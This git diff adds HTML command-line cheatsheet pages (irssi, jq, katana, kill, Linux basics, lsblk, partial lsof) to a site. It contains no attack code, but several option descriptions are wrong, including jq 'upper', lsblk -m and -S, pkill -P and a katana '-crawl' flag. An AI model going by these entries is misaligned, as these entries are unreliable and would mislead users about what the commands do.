      +    chatnet = "Libera";
      +    port = "6697";
      +    use_ssl = "yes";
      +    autoconnect = "yes";
      +  }
      +);
      +
      +chatnets = {
      +  Libera = {
      +    type = "IRC";
      +    autosendcmd = "/^msg nickserv identify <password>; wait 2000";
      +  };
      +};
      +
      +channels = (
      +  { name = "#channel"; chatnet = "Libera"; autojoin = "yes"; }
      +);
      +
      +settings = {
      +  "core" = {
      +    real_name = "Your Name";
      +    user_name = "username";
      +    nick = "YourNick";
      +    alternate_nick = "YourNick_";
      +  };
      +};
      +
      +

      Tips

      +
        +
      • Use /help <command> for command help
      • +
      +
        +
      • Use /alias to create shortcuts for frequent commands
      • +
      +
        +
      • Use /bind to customize key bindings
      • +
      +
        +
      • Enable autolog to keep chat history
      • +
      +
        +
      • Use window navigation (Alt+number) for efficient multitasking
      • +
      +
        +
      • Use /whois to check user information
      • +
      +
        +
      • Use /ignore to ignore annoying users
      • +
      +
        +
      • Scripts can extend functionality significantly
      • +
      +
        +
      • Use Ctrl+X Ctrl+X to switch between windows
      • +
      +
        +
      • Configure auto-join channels in config file
      • +
      +
        +
      • Use SSL/TLS for secure connections (port 6697)
      • +
      +
        +
      • Use /save after making changes
      • +
      +
        +
      • Create separate windows for different channels
      • +
      +
        +
      • Use /window close to clean up unused windows
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/jq.html b/cheatsheets/jq.html new file mode 100644 index 0000000..55e5e33 --- /dev/null +++ b/cheatsheets/jq.html @@ -0,0 +1,245 @@ + + + + + + + + + + + jq Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      jq Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      jq is a lightweight and flexible command-line JSON processor. Parse, filter, transform, and manipulate JSON data with ease. Essential for API responses, configuration files, and data processing pipelines.

      +
      +

      Basic Usage

      +
        +
      • jq '.' file.json - Pretty print JSON
      • +
      +
        +
      • jq '.key' file.json - Extract value by key
      • +
      +
        +
      • echo '{"key":"value"}' | jq '.' - Pipe JSON
      • +
      +
        +
      • jq -r '.key' file.json - Raw output (no quotes)
      • +
      +
      +

      Filtering

      +
        +
      • jq '.key' - Get value
      • +
      +
        +
      • jq '.key1.key2' - Nested access
      • +
      +
        +
      • jq '.[]' - Array iteration
      • +
      +
        +
      • jq '.[0]' - First element
      • +
      +
        +
      • jq '.[-1]' - Last element
      • +
      +
        +
      • jq '.[:3]' - First 3 elements
      • +
      +
        +
      • jq '.[] | select(.key == "value")' - Filter objects
      • +
      +
        +
      • jq '.[] | select(.key > 10)' - Numeric comparison
      • +
      +
      +

      Object Operations

      +
        +
      • jq '.key1, .key2' - Multiple keys
      • +
      +
        +
      • jq '{newkey: .oldkey}' - Rename key
      • +
      +
        +
      • jq '. + {newkey: "value"}' - Add key
      • +
      +
        +
      • jq 'del(.key)' - Delete key
      • +
      +
        +
      • jq 'keys' - List all keys
      • +
      +
        +
      • jq 'has("key")' - Check if key exists
      • +
      +
      +

      Array Operations

      +
        +
      • jq '.array[]' - Iterate array
      • +
      +
        +
      • jq '.array | length' - Array length
      • +
      +
        +
      • jq '.array | .[0:3]' - Slice array
      • +
      +
        +
      • jq '.array + ["new"]' - Append element
      • +
      +
        +
      • jq '.array | map(.key)' - Extract key from objects
      • +
      +
        +
      • jq '.array | sort' - Sort array
      • +
      +
        +
      • jq '.array | unique' - Remove duplicates
      • +
      +
        +
      • jq '.array | reverse' - Reverse array
      • +
      +
      +

      String Operations

      +
        +
      • jq '.key | length' - String length
      • +
      +
        +
      • jq '.key | split(",")' - Split string
      • +
      +
        +
      • jq '.key | startswith("prefix")' - Check prefix
      • +
      +
        +
      • jq '.key | endswith("suffix")' - Check suffix
      • +
      +
        +
      • jq '.key | contains("substring")' - Check substring
      • +
      +
        +
      • jq '.key | upper' - Uppercase
      • +
      +
        +
      • jq '.key | lower' - Lowercase
      • +
      +
      +

      Output Options

      +
        +
      • -r / --raw-output - Raw string output
      • +
      +
        +
      • -c / --compact-output - Compact JSON
      • +
      +
        +
      • -s / --slurp - Read entire input as array
      • +
      +
        +
      • -n / --null-input - Null input
      • +
      +
        +
      • --tab - Use tabs for indentation
      • +
      +
        +
      • --indent N - Indentation level
      • +
      +
      +

      Common Examples

      +

      Pretty Print

      +
      cat data.json | jq '.'
      +

      Format JSON nicely.

      +

      Extract Field

      +
      jq '.name' users.json
      +

      Get name field from objects.

      +

      Filter Array

      +
      jq '.[] | select(.status == "active")' users.json
      +

      Filter objects by condition.

      +

      Extract Multiple Fields

      +
      jq '{name: .name, id: .id}' users.json
      +

      Create new object with selected fields.

      +

      Array to CSV

      +
      jq -r '.[] | [.name, .email] | @csv' users.json
      +

      Convert JSON array to CSV.

      +

      Count Elements

      +
      jq '.items | length' data.json
      +

      Count items in array.

      +

      Sum Values

      +
      jq '[.[] | .price] | add' items.json
      +

      Sum numeric values.

      +

      Group By

      +
      jq 'group_by(.category) | map({category: .[0].category, count: length})' items.json
      +

      Group objects by field.

      +

      Flatten Nested

      +
      jq '.users[].name' data.json
      +

      Extract from nested arrays.

      +

      Merge Objects

      +
      jq '. + {timestamp: now}' data.json
      +

      Add field to object.

      +
      +

      Tips

      +
        +
      • Use -r for raw string output in scripts
      • +
      +
        +
      • Use .[] to iterate arrays and objects
      • +
      +
        +
      • Use select() for filtering
      • +
      +
        +
      • Use map() to transform arrays
      • +
      +
        +
      • Combine filters with | (pipe)
      • +
      +
        +
      • Use @csv, @tsv for formatted output
      • +
      +
        +
      • Essential for API response processing
      • +
      +
        +
      • Great for configuration file manipulation
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/katana.html b/cheatsheets/katana.html new file mode 100644 index 0000000..d6ec713 --- /dev/null +++ b/cheatsheets/katana.html @@ -0,0 +1,205 @@ + + + + + + + + + + + katana Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      katana Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Katana is a fast web crawler designed for web application security testing. Discovers endpoints, parameters, and hidden paths through intelligent crawling and JavaScript execution.

      +
      +

      Basic Usage

      +
        +
      • katana -u https://example.com - Crawl URL
      • +
      +
        +
      • katana -list urls.txt - Crawl from list
      • +
      +
        +
      • katana -u https://example.com -o output.txt - Save output
      • +
      +
        +
      • katana -u https://example.com -json - JSON output
      • +
      +
      +

      Options

      +
        +
      • -u url - Target URL
      • +
      +
        +
      • -list file - URLs from file
      • +
      +
        +
      • -o file - Output file
      • +
      +
        +
      • -json - JSON output format
      • +
      +
        +
      • -depth N - Max crawl depth (default: 3)
      • +
      +
        +
      • -scope domain - Scope to domain
      • +
      +
        +
      • -crawl - Enable crawling
      • +
      +
        +
      • -js-crawl - JavaScript crawling
      • +
      +
        +
      • -headless - Use headless browser
      • +
      +
        +
      • -timeout N - Request timeout (seconds)
      • +
      +
      +

      Filtering

      +
        +
      • -match-regex pattern - Match regex
      • +
      +
        +
      • -filter-regex pattern - Filter regex
      • +
      +
        +
      • -match-status 200,301 - Match status codes
      • +
      +
        +
      • -filter-status 404 - Filter status codes
      • +
      +
        +
      • -match-size N - Match response size
      • +
      +
        +
      • -filter-size N - Filter response size
      • +
      +
      +

      Advanced Options

      +
        +
      • -delay N - Delay between requests (ms)
      • +
      +
        +
      • -concurrency N - Concurrent requests
      • +
      +
        +
      • -rate-limit N - Rate limit (req/sec)
      • +
      +
        +
      • -proxy http://proxy:8080 - Use proxy
      • +
      +
        +
      • -header "Name: Value" - Custom header
      • +
      +
        +
      • -cookie "name=value" - Cookie
      • +
      +
        +
      • -user-agent "UA" - User agent
      • +
      +
      +

      Common Examples

      +

      Basic Crawl

      +
      katana -u https://example.com
      +

      Crawl target website.

      +

      Save Output

      +
      katana -u https://example.com -o urls.txt
      +

      Save discovered URLs.

      +

      JSON Output

      +
      katana -u https://example.com -json -o results.json
      +

      Output in JSON format.

      +

      JavaScript Crawling

      +
      katana -u https://example.com -js-crawl -headless
      +

      Enable JS execution.

      +

      Depth Limit

      +
      katana -u https://example.com -depth 5
      +

      Set crawl depth.

      +

      Scope to Domain

      +
      katana -u https://example.com -scope example.com
      +

      Limit to domain.

      +

      Filter Status

      +
      katana -u https://example.com -filter-status 404
      +

      Exclude 404 responses.

      +

      With Proxy

      +
      katana -u https://example.com -proxy http://127.0.0.1:8080
      +

      Route through proxy.

      +

      Custom Headers

      +
      katana -u https://example.com -header "Authorization: Bearer token"
      +

      Add authentication header.

      +

      From List

      +
      katana -list urls.txt -o discovered.txt
      +

      Crawl multiple URLs.

      +
      +

      Tips

      +
        +
      • Use -js-crawl for modern SPAs
      • +
      +
        +
      • Adjust -depth based on site size
      • +
      +
        +
      • Use -scope to avoid crawling external sites
      • +
      +
        +
      • Filter out noise with -filter-status
      • +
      +
        +
      • Use -json for programmatic processing
      • +
      +
        +
      • Combine with other tools in pipelines
      • +
      +
        +
      • Respect rate limits and robots.txt
      • +
      +
        +
      • Great for endpoint discovery
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/kill.html b/cheatsheets/kill.html new file mode 100644 index 0000000..d4be52e --- /dev/null +++ b/cheatsheets/kill.html @@ -0,0 +1,190 @@ + + + + + + + + + + + kill Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      kill Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      kill sends signals to processes. Terminate, pause, resume, or control processes by PID. Essential for process management and system administration.

      +
      +

      Basic Usage

      +
        +
      • kill PID - Send TERM signal (default)
      • +
      +
        +
      • kill -9 PID - Force kill (SIGKILL)
      • +
      +
        +
      • kill -15 PID - Terminate gracefully (SIGTERM)
      • +
      +
        +
      • kill -HUP PID - Hangup signal (reload)
      • +
      +
        +
      • killall process_name - Kill by name
      • +
      +
        +
      • pkill pattern - Kill by pattern
      • +
      +
      +

      Common Signals

      +
        +
      • SIGHUP (1) - Hangup, reload configuration
      • +
      +
        +
      • SIGINT (2) - Interrupt (Ctrl+C)
      • +
      +
        +
      • SIGQUIT (3) - Quit with core dump
      • +
      +
        +
      • SIGTERM (15) - Terminate gracefully
      • +
      +
        +
      • SIGKILL (9) - Force kill (cannot be caught)
      • +
      +
        +
      • SIGSTOP (19) - Stop process
      • +
      +
        +
      • SIGCONT (18) - Continue stopped process
      • +
      +
      +

      Signal Syntax

      +
        +
      • kill -SIGTERM PID - Signal name
      • +
      +
        +
      • kill -15 PID - Signal number
      • +
      +
        +
      • kill -TERM PID - Short name
      • +
      +
        +
      • kill -l - List all signals
      • +
      +
        +
      • kill -L - List signals with numbers
      • +
      +
      +

      Killing Multiple Processes

      +
        +
      • kill PID1 PID2 PID3 - Multiple PIDs
      • +
      +
        +
      • killall process_name - All processes by name
      • +
      +
        +
      • pkill -f pattern - Match full command line
      • +
      +
        +
      • kill -9 $(pgrep process) - Kill by pgrep
      • +
      +
      +

      Common Examples

      +

      Terminate Process

      +
      kill 1234
      +

      Send TERM signal to PID.

      +

      Force Kill

      +
      kill -9 1234
      +

      Force kill unresponsive process.

      +

      Reload Process

      +
      kill -HUP 1234
      +

      Send hangup signal (reload config).

      +

      Kill by Name

      +
      killall firefox
      +

      Kill all firefox processes.

      +

      Kill by Pattern

      +
      pkill -f "python script.py"
      +

      Kill matching processes.

      +

      Stop Process

      +
      kill -STOP 1234
      +

      Pause process.

      +

      Continue Process

      +
      kill -CONT 1234
      +

      Resume stopped process.

      +

      List Signals

      +
      kill -l
      +

      Show all available signals.

      +

      Kill Process Tree

      +
      pkill -P 1234
      +

      Kill process and children.

      +

      Kill User Processes

      +
      pkill -u username
      +

      Kill all processes for user.

      +
      +

      Tips

      +
        +
      • Use SIGTERM first for graceful shutdown
      • +
      +
        +
      • Use SIGKILL (-9) only when necessary
      • +
      +
        +
      • SIGKILL cannot be caught or ignored
      • +
      +
        +
      • Use killall or pkill for convenience
      • +
      +
        +
      • Check process with ps before killing
      • +
      +
        +
      • Use -HUP to reload configurations
      • +
      +
        +
      • Essential for process management
      • +
      +
        +
      • Be careful with killall on production
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/linux.html b/cheatsheets/linux.html new file mode 100644 index 0000000..99ec7c9 --- /dev/null +++ b/cheatsheets/linux.html @@ -0,0 +1,568 @@ + + + + + + + + + + + linux terminal commands Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      linux terminal commands Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Essential Linux terminal commands and shell shortcuts.

      +
      +

      File and Directory Operations

      +
        +
      • ls - List files
      • +
      +
        +
      • ls -l - List files (long format)
      • +
      +
        +
      • ls -a - List all files (including hidden)
      • +
      +
        +
      • ls -lah - List all files with details
      • +
      +
        +
      • cd <dir> - Change directory
      • +
      +
        +
      • cd .. - Go to parent directory
      • +
      +
        +
      • cd ~ - Go to home directory
      • +
      +
        +
      • cd - - Go to previous directory
      • +
      +
        +
      • pwd - Print working directory
      • +
      +
        +
      • mkdir <dir> - Create directory
      • +
      +
        +
      • mkdir -p <dir> - Create directory (with parents)
      • +
      +
        +
      • rmdir <dir> - Remove empty directory
      • +
      +
        +
      • rm <file> - Remove file
      • +
      +
        +
      • rm -r <dir> - Remove directory recursively
      • +
      +
        +
      • rm -rf <dir> - Remove directory (force)
      • +
      +
        +
      • cp <source> <dest> - Copy file
      • +
      +
        +
      • cp -r <source> <dest> - Copy directory
      • +
      +
        +
      • mv <source> <dest> - Move or rename file
      • +
      +
        +
      • touch <file> - Create empty file or update timestamp
      • +
      +
      +

      File Permissions and Ownership

      +
        +
      • chmod <mode> <file> - Change file permissions
      • +
      +
        +
      • chmod +x <file> - Make file executable
      • +
      +
        +
      • chmod 755 <file> - Set permissions (rwxr-xr-x)
      • +
      +
        +
      • chmod 644 <file> - Set permissions (rw-r--r--)
      • +
      +
        +
      • chown <user>:<group> <file> - Change ownership
      • +
      +
        +
      • chown -R <user>:<group> <dir> - Change ownership recursively
      • +
      +
        +
      • sudo <command> - Execute command as root
      • +
      +
        +
      • sudo su - - Switch to root user
      • +
      +
      +

      User and Group Management

      +

      User Commands

      +
        +
      • useradd <user> - Create new user
      • +
      +
        +
      • useradd -m <user> - Create user with home directory
      • +
      +
        +
      • useradd -G <group> <user> - Create user with additional group
      • +
      +
        +
      • usermod -aG <group> <user> - Add user to group
      • +
      +
        +
      • usermod -L <user> - Lock user account
      • +
      +
        +
      • usermod -U <user> - Unlock user account
      • +
      +
        +
      • userdel <user> - Delete user
      • +
      +
        +
      • userdel -r <user> - Delete user and home directory
      • +
      +
        +
      • passwd <user> - Change password for user
      • +
      +
        +
      • passwd - Change your own password
      • +
      +
        +
      • passwd -l <user> - Lock password (prevent login)
      • +
      +
        +
      • passwd -u <user> - Unlock password
      • +
      +
        +
      • passwd -e <user> - Force password expiration
      • +
      +
        +
      • chage -l <user> - List password aging info
      • +
      +
        +
      • id <user> - Show user ID and groups
      • +
      +
        +
      • whoami - Show current username
      • +
      +
        +
      • who - Show logged in users
      • +
      +
        +
      • w - Show logged in users and what they're doing
      • +
      +

      Group Commands

      +
        +
      • groupadd <group> - Create new group
      • +
      +
        +
      • groupdel <group> - Delete group
      • +
      +
        +
      • groupmod -n <newname> <oldname> - Rename group
      • +
      +
        +
      • groups - Show groups for current user
      • +
      +
        +
      • groups <user> - Show groups for user
      • +
      +
        +
      • gpasswd -a <user> <group> - Add user to group
      • +
      +
        +
      • gpasswd -d <user> <group> - Remove user from group
      • +
      +
        +
      • getent group <group> - Show group information
      • +
      +

      Sudo Commands

      +
        +
      • sudo -u <user> <command> - Run command as another user
      • +
      +
        +
      • sudo -s - Start shell as root
      • +
      +
        +
      • sudo su - <user> - Switch to another user
      • +
      +
        +
      • visudo - Edit sudoers file safely
      • +
      +
      +

      Text Processing

      +
        +
      • cat <file> - Display file contents
      • +
      +
        +
      • less <file> - View file (scrollable)
      • +
      +
        +
      • more <file> - View file (page by page)
      • +
      +
        +
      • head <file> - Show first lines
      • +
      +
        +
      • tail <file> - Show last lines
      • +
      +
        +
      • tail -f <file> - Follow file (watch updates)
      • +
      +
        +
      • grep <pattern> <file> - Search for pattern
      • +
      +
        +
      • grep -r <pattern> <dir> - Search recursively
      • +
      +
        +
      • grep -i <pattern> <file> - Case insensitive search
      • +
      +
        +
      • sed 's/old/new/g' <file> - Replace text
      • +
      +
        +
      • awk '{print $1}' <file> - Print first column
      • +
      +
        +
      • wc <file> - Count lines, words, characters
      • +
      +
        +
      • wc -l <file> - Count lines
      • +
      +
        +
      • sort <file> - Sort lines
      • +
      +
        +
      • uniq <file> - Remove duplicate lines
      • +
      +
        +
      • cut -d: -f1 <file> - Cut by delimiter
      • +
      +
      +

      Process Management

      +
        +
      • ps - List processes
      • +
      +
        +
      • ps aux - List all processes
      • +
      +
        +
      • top - Show running processes (interactive)
      • +
      +
        +
      • htop - Enhanced process viewer
      • +
      +
        +
      • kill <pid> - Kill process
      • +
      +
        +
      • kill -9 <pid> - Force kill process
      • +
      +
        +
      • killall <name> - Kill all processes by name
      • +
      +
        +
      • pkill <name> - Kill processes by name
      • +
      +
        +
      • jobs - List background jobs
      • +
      +
        +
      • fg - Bring job to foreground
      • +
      +
        +
      • bg - Send job to background
      • +
      +
        +
      • nohup <command> - Run command immune to hangups
      • +
      +
      +

      System Information

      +
        +
      • df - Show disk space
      • +
      +
        +
      • df -h - Show disk space (human readable)
      • +
      +
        +
      • du - Show directory size
      • +
      +
        +
      • du -h - Show directory size (human readable)
      • +
      +
        +
      • free - Show memory usage
      • +
      +
        +
      • free -h - Show memory usage (human readable)
      • +
      +
        +
      • uname -a - Show system information
      • +
      +
        +
      • uptime - Show uptime
      • +
      +
        +
      • whoami - Show current user
      • +
      +
        +
      • id - Show user and group IDs
      • +
      +
        +
      • hostname - Show hostname
      • +
      +
        +
      • date - Show date and time
      • +
      +
      +

      Archiving and Compression

      +
        +
      • tar -cf <archive.tar> <files> - Create tar archive
      • +
      +
        +
      • tar -xf <archive.tar> - Extract tar archive
      • +
      +
        +
      • tar -czf <archive.tar.gz> <files> - Create gzipped tar
      • +
      +
        +
      • tar -xzf <archive.tar.gz> - Extract gzipped tar
      • +
      +
        +
      • gzip <file> - Compress file
      • +
      +
        +
      • gunzip <file.gz> - Decompress file
      • +
      +
        +
      • zip <archive.zip> <files> - Create zip archive
      • +
      +
        +
      • unzip <archive.zip> - Extract zip archive
      • +
      +
      +

      Network Operations

      +
        +
      • ping <host> - Ping host
      • +
      +
        +
      • wget <url> - Download file
      • +
      +
        +
      • curl <url> - Download file or fetch URL
      • +
      +
        +
      • ssh <user>@<host> - Connect via SSH
      • +
      +
        +
      • scp <file> <user>@<host>:<path> - Copy file via SSH
      • +
      +
        +
      • rsync -av <source> <dest> - Sync files
      • +
      +
        +
      • netstat - Show network connections
      • +
      +
        +
      • ifconfig - Show network interfaces
      • +
      +
        +
      • ip addr - Show IP addresses
      • +
      +
      +

      Shell Shortcuts

      +
        +
      • Ctrl+A - Move to beginning of line
      • +
      +
        +
      • Ctrl+E - Move to end of line
      • +
      +
        +
      • Ctrl+U - Delete from cursor to beginning of line
      • +
      +
        +
      • Ctrl+K - Delete from cursor to end of line
      • +
      +
        +
      • Ctrl+W - Delete word before cursor
      • +
      +
        +
      • Ctrl+R - Reverse search history
      • +
      +
        +
      • Ctrl+C - Cancel/terminate command
      • +
      +
        +
      • Ctrl+D - Exit shell or delete character
      • +
      +
        +
      • Ctrl+L - Clear screen
      • +
      +
        +
      • Ctrl+Z - Suspend process
      • +
      +
        +
      • Alt+F - Move forward one word
      • +
      +
        +
      • Alt+B - Move backward one word
      • +
      +
        +
      • !! - Repeat last command
      • +
      +
        +
      • !<n> - Repeat command number n from history
      • +
      +
        +
      • !<string> - Repeat last command starting with string
      • +
      +
      +

      Redirection and Pipes

      +
        +
      • <command> > <file> - Redirect output to file (overwrite)
      • +
      +
        +
      • <command> >> <file> - Redirect output to file (append)
      • +
      +
        +
      • <command> < <file> - Redirect input from file
      • +
      +
        +
      • <command> 2> <file> - Redirect stderr to file
      • +
      +
        +
      • <command> | <command> - Pipe output to another command
      • +
      +
        +
      • <command> & - Run command in background
      • +
      +
        +
      • <command1> && <command2> - Run command2 if command1 succeeds
      • +
      +
        +
      • <command1> || <command2> - Run command2 if command1 fails
      • +
      +
      +

      Configuration

      +

      Config File Locations

      +
        +
      • ~/.bashrc - Bash configuration
      • +
      +
        +
      • ~/.zshrc - Zsh configuration
      • +
      +
        +
      • ~/.config/fish/config.fish - Fish shell configuration
      • +
      +
        +
      • ~/.profile - Shell profile (all shells)
      • +
      +
        +
      • ~/.bash_profile - Bash profile
      • +
      +

      Example Aliases

      +

      Add to your shell config:

      +
      # File operations
      +alias ll='ls -lah'
      +alias la='ls -A'
      +alias l='ls -CF'
      +alias ..='cd ..'
      +alias ...='cd ../..'
      +
      +# Git shortcuts
      +alias gs='git status'
      +alias ga='git add'
      +alias gc='git commit'
      +alias gp='git push'
      +alias gl='git pull'
      +
      +# System
      +alias df='df -h'
      +alias du='du -h'
      +alias free='free -h'
      +
      +# Editor
      +export EDITOR=nvim
      +export VISUAL=nvim
      +
      +

      Tips

      +
        +
      • Use tab completion for file names and commands
      • +
      +
        +
      • Use man <command> for help pages
      • +
      +
        +
      • Use <command> --help for command help
      • +
      +
        +
      • Use history to see command history
      • +
      +
        +
      • Use pipes to chain commands together
      • +
      +
        +
      • Use wildcards (*, ?) for pattern matching
      • +
      +
        +
      • Use quotes for strings with spaces
      • +
      +
        +
      • Use backticks or $() for command substitution
      • +
      +
        +
      • Use && and || for conditional execution
      • +
      +
        +
      • Use aliases for frequently used commands
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/lsblk.html b/cheatsheets/lsblk.html new file mode 100644 index 0000000..1c1df40 --- /dev/null +++ b/cheatsheets/lsblk.html @@ -0,0 +1,272 @@ + + + + + + + + + + + lsblk Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      lsblk Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      lsblk (list block devices) displays information about block devices in a tree format. Shows disks, partitions, and their mount points in an easy-to-read hierarchy.

      +
      +

      Basic Usage

      +
        +
      • lsblk - List all block devices
      • +
      +
        +
      • lsblk -a - Show all devices
      • +
      +
        +
      • lsblk -f - Show filesystem information
      • +
      +
        +
      • lsblk -m - Show mount points
      • +
      +
        +
      • lsblk -o column1,column2 - Custom output
      • +
      +
      +

      Options

      +
        +
      • -a - Show all devices
      • +
      +
        +
      • -f - Show filesystem information
      • +
      +
        +
      • -m - Show mount points
      • +
      +
        +
      • -l - Use list format instead of tree
      • +
      +
        +
      • -n - No headings
      • +
      +
        +
      • -o columns - Specify output columns
      • +
      +
        +
      • -b - Print sizes in bytes
      • +
      +
        +
      • -d - Don't print holder devices
      • +
      +
        +
      • -e list - Exclude devices by major number
      • +
      +
        +
      • -i - ASCII characters only
      • +
      +
        +
      • -p - Print full device paths
      • +
      +
        +
      • -r - Raw output
      • +
      +
        +
      • -s - Inverse dependencies
      • +
      +
        +
      • -S - Sort by size
      • +
      +
        +
      • -t - Show topology information
      • +
      +
        +
      • -x column - Sort by column
      • +
      +
      +

      Output Columns

      +
        +
      • NAME - Device name
      • +
      +
        +
      • KNAME - Kernel device name
      • +
      +
        +
      • MAJ:MIN - Major and minor numbers
      • +
      +
        +
      • FSTYPE - Filesystem type
      • +
      +
        +
      • MOUNTPOINT - Mount point
      • +
      +
        +
      • LABEL - Filesystem label
      • +
      +
        +
      • UUID - Filesystem UUID
      • +
      +
        +
      • PARTUUID - Partition UUID
      • +
      +
        +
      • PARTLABEL - Partition label
      • +
      +
        +
      • SIZE - Size
      • +
      +
        +
      • TYPE - Device type
      • +
      +
        +
      • RO - Read-only flag
      • +
      +
        +
      • RM - Removable device flag
      • +
      +
        +
      • MODEL - Device model
      • +
      +
        +
      • SERIAL - Serial number
      • +
      +
        +
      • STATE - State
      • +
      +
        +
      • OWNER - Device owner
      • +
      +
        +
      • GROUP - Device group
      • +
      +
        +
      • MODE - Device node permissions
      • +
      +
        +
      • ALIGNMENT - Alignment offset
      • +
      +
        +
      • MIN-IO - Minimum I/O size
      • +
      +
        +
      • OPT-IO - Optimal I/O size
      • +
      +
        +
      • PHY-SEC - Physical sector size
      • +
      +
        +
      • LOG-SEC - Logical sector size
      • +
      +
        +
      • ROTA - Rotational device flag
      • +
      +
        +
      • SCHED - I/O scheduler
      • +
      +
        +
      • RQ-SIZE - Request queue size
      • +
      +
        +
      • DISC-ALN - Discard alignment offset
      • +
      +
        +
      • DISC-GRAN - Discard granularity
      • +
      +
        +
      • DISC-MAX - Discard max bytes
      • +
      +
        +
      • DISC-ZERO - Discard zeroes data
      • +
      +
      +

      Common Examples

      +

      Basic List

      +
      lsblk
      +

      Show all block devices in tree format.

      +

      With Filesystems

      +
      lsblk -f
      +

      Include filesystem information.

      +

      With Mount Points

      +
      lsblk -m
      +

      Show mount points.

      +

      List Format

      +
      lsblk -l
      +

      Use list instead of tree.

      +

      Custom Columns

      +
      lsblk -o NAME,SIZE,TYPE,MOUNTPOINT
      +

      Show specific columns.

      +

      Full Paths

      +
      lsblk -p
      +

      Show full device paths.

      +

      Sort by Size

      +
      lsblk -S
      +

      Sort devices by size.

      +

      All Information

      +
      lsblk -f -m -o NAME,SIZE,TYPE,FSTYPE,MOUNTPOINT
      +

      Comprehensive view.

      +
      +

      Tips

      +
        +
      • Use -f to see filesystem types
      • +
      +
        +
      • Use -m to see mount points
      • +
      +
        +
      • Use -o to customize output
      • +
      +
        +
      • Use -l for script-friendly output
      • +
      +
        +
      • Use -p for full device paths
      • +
      +
        +
      • Tree format shows hierarchy clearly
      • +
      +
        +
      • Essential for disk management
      • +
      +
        +
      • Great for understanding partition layout
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/lsof.html b/cheatsheets/lsof.html new file mode 100644 index 0000000..8ff7b0a --- /dev/null +++ b/cheatsheets/lsof.html @@ -0,0 +1,219 @@ + + + + + + + + + + + lsof Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      lsof Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      lsof (list open files) shows information about files opened by processes. Lists open files, network connections, and file descriptors. Essential for debugging and system administration.

      +
      +

      Basic Usage

      +
        +
      • lsof - List all open files
      • +
      +
        +
      • lsof -p PID - Files by process
      • +
      +
        +
      • lsof -u user - Files by user
      • +
      +
        +
      • lsof file - Processes using file
      • +
      +
        +
      • lsof -i - Network connections
      • +
      +
      +

      Process Selection

      +
        +
      • -p PID - Process ID
      • +
      +
        +
      • -p PID1,PID2 - Multiple PIDs
      • +
      +
        +
      • -p ^PID - Exclude PID
      • +
      +
        +
      • -c command - Command name
      • +
      +
        +
      • -u user - Username
      • +
      +
        +
      • -u ^user - Exclude user
      • +
      +
      +

      File Selection

      +
        +
      • lsof file - Specific file
      • +
      +
        +
      • lsof +D directory - Directory
      • +
      +
        +
      • lsof +d directory - Directory (non-recursive)
      • +
      +
        +
      • -a - AND conditions
      • +
      +
        +
      • -t - Show only PIDs
      • +
      +
      +

      Network Options

      +
        +
